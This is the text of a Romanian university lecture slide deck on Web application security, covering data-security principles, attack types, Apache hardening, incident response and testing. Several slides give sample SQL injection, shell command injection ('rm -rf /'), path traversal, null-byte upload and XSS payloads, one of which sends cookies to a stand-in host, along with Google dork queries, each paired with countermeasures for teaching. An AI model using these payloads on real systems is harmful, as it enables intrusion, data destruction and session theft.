96
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ Tehnologii Tehnologii Web Web <?xml version=“1.0” ?> <curs desc=“…” /> Tehnologii Web Dr. SabinCorneliu Buraga Facultatea de Informatica Universitatea “A.I.Cuza” – Iasi, Romania http://www.infoiasi.ro/~busaco/

Web - Web security

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

Tehnologii Web

Dr. Sabin­Corneliu BuragaFacultatea de Informatica

Universitatea “A.I.Cuza” – Iasi, Romania

http://www.infoiasi.ro/~busaco/

Page 2: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

Securitatea aplicatiilor Web

Detalii in [PSW, 297‐305] [SW, 286‐294]

Page 3: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

“Experienta este acel minunat lucru care iti da voie sa recunosti o gresealape care ai mai facut‐o.”

F.P. Jones

Page 4: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

Aspecte privind securitatea datelorAtacuri Web

Prevenirea & supravietuireaMonitorizarea & testarea

De retinut

cuprins

Page 5: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

intrebare

Ce inseamna securitatea datelor?

Page 6: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Realitati:peste 70% din organizatii sufera pierderi financiare 

datorate incidentelor de securitate

Cauze:virusi informatici >75%

acte malitioase interne >40%actiuni malitioase externe ~25%

erori software ~70%spionaj industrial ~10%

Page 7: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Securitatea este procesul de mentinerea unui nivel acceptabil de risc perceptibil

“Security is a process, not an end state.”Mitch Kabay

Page 8: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Cracker vs. hacker

Mituri:Security by obscurity

Nimeni nu‐i poate detecta pe cracker‐iSoftware‐ul antivirus ofera protectie totalaConexiunile Internet nu pot fi detectate

Din moment ce un fisier e sters, este pierdut pe vecie

Page 9: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

ConfidentialitateaAutentificareaAutorizareaIntegritateaNerepudierea

Intimitatea (privacy)Disponibilitatea

Page 10: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Confidentialitateaimposibilitatea unei terte entitati sa aiba acces 

la datele vehiculate intre doi receptori

Page 11: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

ConfidentialitateaSolutii:

conexiuni private intre cele 2 puncte terminaleale canalului de comunicatie

datele circula printr‐un tunel oferit de o retea privatavirtuala (VPN – Virtual Private Network)

criptarea datelor via diverse tehnici (biblioteci specializatesi/sau oferite de mediile de dezvoltare)

Page 12: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Autentificareamecanism ce permite utilizatorilor sa acceseze

un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola)

Page 13: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

AutentificareaSolutii:

serverul Web ofera suport pentru autentificari de bazasau bazate pe algoritmi de tip digest (e.g., MD5)

folosirea/implementarea serviciilor de autentificare

maniera de autentificare poate fi exprimata prin SAML (Security Assertion Markup Language)

Page 14: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Autorizareaspecifica actiunile (rolurile) pe care un utilizator

le poate realiza intr‐un anumit context

asociata autentificarii

se permite administratorului definirea politicilorde control al accesului la servicii

Page 15: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

AutorizareaSolutii:

drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List)

controlul accesului bazat pe roluri (RBAC – Role­Based Access Control)

tehnici de tip SSO (Single Sign­On)

Page 16: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Integritateain acest context, implica detectarea incercarilor de 

modificare neautorizata a datelor transmise

Solutii: algoritmi de tip digestsemnaturi digitale

(stocate, eventual, in format XML – XML Signature)pot fi vehiculate si via mesaje SOAP

Page 17: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Nerepudiereaasigura ca expeditorul unui mesaj nu poate afirma

ca nu l‐a trimis

Page 18: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

NerepudiereaSolutie: 

certificate digitalestocheaza datele privind identitatea unei entitati

detinatoare a unui secret (parola, serie a cartii de credit, certificat digital,…)

Infrastructuracu chei publicePKI – Public Key

Infrastructure

Page 19: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

NerepudiereaSolutie: certificate digitale

emise de o autoritate de certificare(CA – Certification Authority)

verificate de o autoritate de inregistrare(RA – Registration Authority)

servicii PKI via XKMS (XML Key Management Specification)

Page 20: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Disponibilitateao anumita resursa sa poata fi accesata

la momentul oportun

Cauze ale indisponibilitatii: atacuri de refuz al serviciilor DoS (Denial of Service)atacuri distribuite de tip DDoS (Distributed DoS)

Page 21: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Intimitateavizeaza drepturile ce trebuie respectate privind 

caracterul (subiectul) datelor vehiculate

confundata, deseori, cu confidentialitatea

Page 22: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

IntimitateaBrese: 

stocarea necorespunzatoare a datelor la nivel de server (information disclosure)

atacuri de tip XSS (Cross­Site Scripting)

atacuri de tip phishing

configurarea necorespunzatoare a sistemelor

Page 23: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Faze ale procesului de securizareEstimare a riscurilor (assessment)activitati manageriale + actiuni tehnice

Protejare – prevenire a atacurilorDetectare – identificarea incidentelor (intrusions)Raspuns la atacurirestaurarea functionalitatii (“patch & proceed”) + alegerea remediilor legale (“pursue & prosecute”)

Page 24: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

SecuritateaWeb trebuia sa ia in consideratie:clientul – interactiune, date personale (cookie‐uri), 

transferuri asincrone via AJAX,…datele in tranzit – securitatea retelei, schimb sigur de mesaje, ne‐repudiere

serverul – securitatea serverului/serverelor Web, securitatea aplicatiilor, disponibilitatea serviciilor

Atacurile pot viza oricare din cele 3 aspecte!

Page 25: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Vulnerabilitatislabiciuni ale unui sistem hardware/software ce permit 

utilizatorilor neautorizati sa aiba acces asupra lui

nici un sistem nu este 100% sigur

pot aparea si datorita proastei administrari

Page 26: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Examinarea mediuluiidentificarea porturilor (serviciilor) publicedescoperirea tipurilor & versiunilor aplicatiilorgenerarea de erori & examinarea mesajelor obtinutegasirea de informatii sensibile: cod‐sursa, comentarii, cimpuri ascunse ale formulareloretc.

Page 27: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Stabilirea tintei ataculuimecanismul de autentificare (login)cimpuri de intrare ale formularelor Webmanagementul sesiunilorinfrastructura folositae.g., serverele de stocare a datelor, servicii aditionale,…

Page 28: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

securitatea datelor

Page 29: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cunoasterea profilului atacatoruluiResursele avute la dispozitie: financiare, tehniceTimpul acordatRiscul asumat – revendicarea sau nu a ataculuiAccesul la Internet si calitatea acestuiaObiectivele urmarite: recunoastere mondiala, denigrarea tintei, furt de informatii/bani etc.

Page 30: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Tipologii de cracker‐iOportunisti (script kiddies) – scop “recreational”, faraobiective/tinte clare, utilizeaza programe disponibileliber pentru a scana/testa vulnerabilitati

Intermediari – obiectiv conturat, au mai multa rabdaresi cunostinte tehnice mai profunde, cu probabilitatemai mare de succes

Sofisticati – obiectiv vizind o organizatie, ataca trecindpeste masuri de prevedere, au cunostinte avansate

Page 31: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

La nivel de HTTPAnalizarea pachetelor de date (network sniffing):functioneaza pentru fluxuri de date HTTP necriptate

Solutie: HTTPS – folosirea HTTP peste (W)TLS –(Wireless) Transport Layer Security

Page 32: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

La nivel de HTTPDeturnarea sesiunilor (session hijacking): atacatorul determina SID‐ul utilizatorului siil foloseste in scop propriuExemplu: analizarea cimpului Referer

Referer: https://www.mail.info/showmsg.jsp?id=98755&jsessid=BAC13606AC22B81E5137F45F95EE7573

Solutii: eliminarea SID‐ului din URL, stocarea SID‐uluiin cimpul User-Agent, utilizarea unui SID variabil

Page 33: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injectionPresupune scrierea unor interogari SQL care permitafisarea, alterarea, stergerea de date din baze de datevia formulare Web ori direct folosind URL‐uri

Page 34: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injection – exemple:select * from studs where name=$name and pass=$passcu $name preluat din formular: '' or 1=1 --

http://www.sit.org/access_client.php?client=3in script: select credit_card from clients where client=$clientce se intimpla daca URI‐ul este

http://www.sit.org/access_client.php?client=client ?dar daca in loc de select aparea delete ?

Page 35: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injection – variatii:Crearea de interogari SQL incorecte pentru a aveaacces la mesaje de eroare “interesante”

Solutii: proceduri stocate, neutralizareameta‐caracterelor SQL, prepared statements,…

Page 36: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injection

Page 37: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injection – variatii:Exemplu: http://www.sit.org/prog.asp?id=1+OR+gh=1Se poate obtine un mesaj precum:[Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.SELECT group_id, securityName, maxSalesCharge, price,security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESCAtacatorul poate continua, de pilda, cu:

http://www.sit.org/prog.asp?id=1;DELETE+FROM+funds+--

Page 38: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Shell command injectionPosibilitatea de a rula comenzi externe din cadrulscript‐urilor CGI

Exemplu: fie liniile Perl $utiliz = $form{"nume"}; print `finger $utiliz`;

Ce se intimpla daca din formular se preiaroot; rm –rf / ?

Idem si pentru programe scrise in alte limbajeinterpretate (e.g., PHP, Ruby) sau chiar cele C

Solutii: inhibarea folosirii system(), exec() etc.

Page 39: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

SQL injection + command injectionUtilizarea SQL pentru executia de comenzi la nivelde shell din cadrul serverului de baze de date

Exemplu: SELECT * FROM users WHERE name = 'tux' AND pass = ' '; xp_cmdshell 'taskkill /F /IM sqlservr.exe' --'

Page 40: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

XPath injectionFolosirea de expresii XPath pentru acces la date intr‐un document XML sau pentru a realizadiverse actiuni via functii/sabloane XPath

Consecinte si asupra transformarilor XSLT considerate maligne

Page 41: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Path traversalPosibilitatea de accesare a unor zone nepermiseale sistemului de fisiere – i.e., in afara directoarelorin care rezida aplicatia Web

Exemplu: http://www.sit.org/listfiles.jsp?dir=../../

Page 42: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Poisonous null­byte attackFolosirea caracterului NULL pentru plasareade script‐uri pe server ce ulterior pot fi executate

Upload‐ul unei “imagini”: img.php%00.jpg“Thank you! See your picture at img.php”

Page 43: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS)permite “injectarea” in cadrul sistemului,

pentru executia direct in browser,a script‐urilor JavaScript/VBScript

a se vizita si http://ha.ckers.org/xss.html

Page 44: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS)

functioneazamai ales in cadrul siturilor Web interactive (e.g., forumuri, blog‐uri, wiki‐uri)

poate conduce si la furtul identitatii (phishing)sau la plasarea de cod malware la client: 

Cross‐Site Request Forgery

Page 45: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS) – exemple:

<img src=“javascript:cod” />redirectioneaza utilizatorul spre alt sit,

preia valori de cookie‐uri ori blocheaza browser‐ul

includerea de cod malitios (malware)spre a fi executat la nivel de browser 

via elementele <applet>, <embed> sau <object>

Page 46: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS)

ofera premisele eludarii politicii privitoare la interactiuneadintre script‐urile la nivel de client si entitatile

din acelasi domeniu Internet: same­origin script policy

uzual, un program aflat pe sit.org nu poate obtine date dintr‐o paginaWeb din domeniul altsit.org

Page 47: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS) – alte actiuni malefice:

<script type="text/javascript">document.location.replace (

"http://www.sit.org/furt.php" + "?c=" + document.cookie);</script>

Furtul de cookie‐uri(hijacking cookies)

Page 48: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS) – alte actiuni malefice:

<script type="text/javascript">for (i = 0; i < 3000; i++)

window.open ("http://www.sit.org/");</script>

Tentativa de blocarea browser‐ului/ sistemului

Page 49: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS) – variatii:Folosirea de cod JavaScript pentru a modifica textulredat de navigatorul Web utilizatoruluitehnici mai sofisticate pot recurge la DOM, AJAX,…

Adoptarea de tehnici de social engineering:manipularea utilizatorilor de catre atacator(prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.)

Furtul de parole

Page 50: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Cross­Site Scripting (XSS)

Solutii de contracarare: inhibarea folosirii tag‐urilor HTML, HTML escaping, 

filtrarea marcatorilor, separarea prezentariidatelor de procesarea efectiva etc.

Page 51: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Probleme cauzate de URI/IRI‐uri (revezi cursul 1)Exemplu: http://www.google.com@63. 241.3.69/Codificarea defectuoasa a codurilor hexa

vulnerabilitati in cadrul unor servere Web Includerea caracterelor Unicode – probleme la decodificarea URL‐urilor considerate “sigure”

Siturile avind domenii internationale(IDN – International Domain Names)atacuri bazate pe homografie

Page 52: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

O alta problema: folosirea parolelor93% din procesele de autentificare folosesc paroleCu cit utilizatorul trebuie sa retina mai multe parole,cu atit sistemul de protectie via parole e predispusla brese in securitate: alegerea unor parole slabe, partajarea parolelor(grupuri de prieteni, colegi,...), scrierea parolelor pehirtie (eventual, la vedere), folosirea aceleasi parole timp indelungat, pentru mai multe aplicatii/sisteme

Solutii: SSO (vezi OpenID), identificare biometrica etc.

Page 53: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

O alta problema: troienii WebSituri (adrese) aparent folositoare, la care utilizatorulpoate ajunge eventual via redirectare automata

Se pot folosi in conjunctie cu XSS sautehnici de tip social engineering

Solutie: implementarea unui sistem de tichete (ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data

Page 54: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Detectarea posibilelor vulnerabilitati – datorateunor configuratii incorecte ori implicite ale 

serverelor si/sau aplicatiilor Web – se poate realizaapelind la un motor de cautare

vezi si proiectul “Google Hack” Honeypot: http://ghh.sourceforge.net/

Page 55: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Exemple de actiuni:Detectia versiunilor de programeavind bug‐uri cunoscute: "Apache/2.0.52 server at"

Accesul la fisiere .bak: inurl:index.php.bakAccesarea intranet‐ului: intitle:intranetDetectarea paginilor de administrare: "admin login"Gasirea unor instalari implicite: 

intitle:"welcome to" intitle:internet IISLocalizarea interfetelor spre sistemelede baze de date: inurl:main.php phpMyAdmin

Page 56: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

atacuri

Exemple de actiuni (continuare):Localizarea siturilor bazate pe aplicatii Web recunoscute ca fiind vulnerabile: inurl:custva.asp

Cautarea de aplicatii instalate sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs

Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: "ASP.NET_SessionId" "data source="

A se vizita si http://johnny.ihackstuff.com/

Page 57: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Tehnici:Nivelul retea: firewall­urinu ajuta prea mult, portul 80 fiind public

Nivel de transport: TLS (Transport Layer Security) – asiguraautentificarea & confidentialitateamesajelor HTTPautentificare via certificate digitaleconfidentialitate prin criptare Vezi

RFC 2818

Page 58: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Tehnici:Nivel de aplicatie: securitate persistenta a mesajelor vehiculate

confidentialitate via XML Encryptionintegritate prin XML Signatureautentificare/autorizare via SAML (SecurityAssertions Markup Language), XACML (ExtensibleAccess Control Markup Language), XKMS (XML Key Management Specification) etc.

Page 59: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Studiu de caz: securizarea serverului ApacheEliminarea modulelor ne‐esentiale (e.g., mod_autoindex, 

mod_dav, mod_info, mod_includes, mod_status etc.)Restringerea permisiunilor implicite pentrudirectoarele /, /var/www/html (directorul root al sitului), directoarele (public_)html/ ale utilizatorilor

Rularea serverului ca utilizator cu drepturi minime, cu limitarea accesului la resursele sistemului

“Imunizarea” fisierelor de configurare importanteRularea Apache intr‐un chroot jail

Page 60: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Studiu de caz: securizarea serverului ApacheFolosirea mod_ssl pentru HTTP peste TLSEliminarea generarii “semnaturii” serverului pentrupaginile generate automate: ServerSignature Off siServerTokens Prod

Eliminarea/limitarea suportului SSI: IncludesNoExecDezactivarea directorului cgi_bin daca nu trebuieinvocate script‐uri CGI

Permiterea rularii CGI‐urilor doar de proprietari: suEXEC

Page 61: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Studiu de caz: securizarea serverului ApacheVerificarea permisiunilor fisierelor publiceLimitarea cererilor la server (e.g., interzicerea efectuarii metodei POST)

Limitarea folosirii .htaccess de utilizatorii obisnuitiConfigurarea serverelor de aplicatii sa nu trimitabrowser‐ului mesajele de eroare(e.g., la PHP cu display_errors off)

Page 62: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Studiu de caz: securizarea serverului ApacheRularea script‐urilor in mod “sigur” (Perl in taint mode, PHP: safe_mode on, allow_url_fopen off), semnarea codului ca fiind “sigur” (e.g., la Java/.NET)

Limitarea/inhibarea upload‐urilor de fisiereInterzicerea accesului la tabela users la MySQLActualizarea continutului sitului doar prin metodesecurizate – “sigure” (ssh, scp, sftp)

Page 63: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

prevenirea

Securizarea serviciilor Webinitiative & standarde:

Page 64: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Sistemul trebuie sa‐si duca pina la capat misiuneachiar daca unele componente sau parti din sistem

sunt afectate ori scoase din uz

exemplu: oferirea unei copii read­only a forumului de discutii sau blog‐ului asociat unei teme de interes

Page 65: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Sistemul trebuie sa sustina macar indeplinireafunctiilor vitale (mission­critical)

Identificarea serviciilor esentialee.g., acces la lista produselor la un sit de comert electronic

Page 66: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Proprietati ale sistemului:rezistenta la atacuri

recunoasterea atacurilor si efectelor loradaptarea la atacuri

Page 67: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Rezistenta la atacuri

strategii de respingere a atacului:validarea obligatorie a datelor – via expresii regulate, 

scheme XML etc.autentificarea utilizatorilor

acordarea privilegiilor minime…

Page 68: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Recunoasterea atacurilor si efectelor lor

strategii pentru restaurarea informatiilor,limitarea efectelor, mentinerea/restaurarea

serviciilor compromiseferme de servere Web –Web farms

RAID (Redundant Array of Independent Disks)SAN (Storage Area Network)

backup‐uri (complete sau incrementale)...

Page 69: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

supravietuirea

Adaptarea la atacuri

strategii pentru imbunatatirea nivelului (sansei)de supravietuire

auditareainvatarea din greseli

Page 70: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

raspunsul la incidente

Raspunsurile agresive – e.g., hack back –sunt prohibite

Se poate recurge la metodologia SANS(System Administration, Networking, and Security)

Etape:pregatire identificare controlul efectelor (containment)

eradicare recuperare continuare (follow­up)

Page 71: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

raspunsul la incidente

Forensicsproces de “prindere” a cracker‐ilorinvestigation of digital evidence

for use in criminal or civil courts of law

uzual, are loc dupa un incident de securitate

implica analiza hardware‐ului (discuri, RAM),“deseelor” (information detritus), log‐urilor etc.

actiunea de “stergere” a urmelor = anti­forensics

Page 72: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste de verificare a…

capacitatii de deservire a clientilorrobustetei

rularii in situatii extreme

Page 73: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Se iau in consideratie:Tipul navigatorului (+setarile implicite)Platforma (hardware, sistem de operare,...)Interfata (rezolutia ecranului, adincimea de culoare, largimea de banda,...)

Politica de caching (+siguranta proxy‐ului)Suportul pentru redarea unor tipuri de documente(securitatea folosirii plugin‐urilor)

Limbajul/limbajele de programare utilizate(inclusiv, serverul/serverele de aplicatii)

Page 74: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de programare:Depasiri de buffer‐e

Exemplu: lungimea URI‐urilor trimise de clientProbleme de prelucrare (parsing)

Procesarea URI‐urilor, a datelor primitevia formulare, cookie‐uri, entitatilor XHTML,datelor XML, cererilor HTTP, XML‐RPC si SOAP,interogarilor SQL etc.

Probleme de conversie a datelorDe exemplu, ASCII ↔ Unicode

Page 75: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de programare:Probleme privitoare la redarea datelor

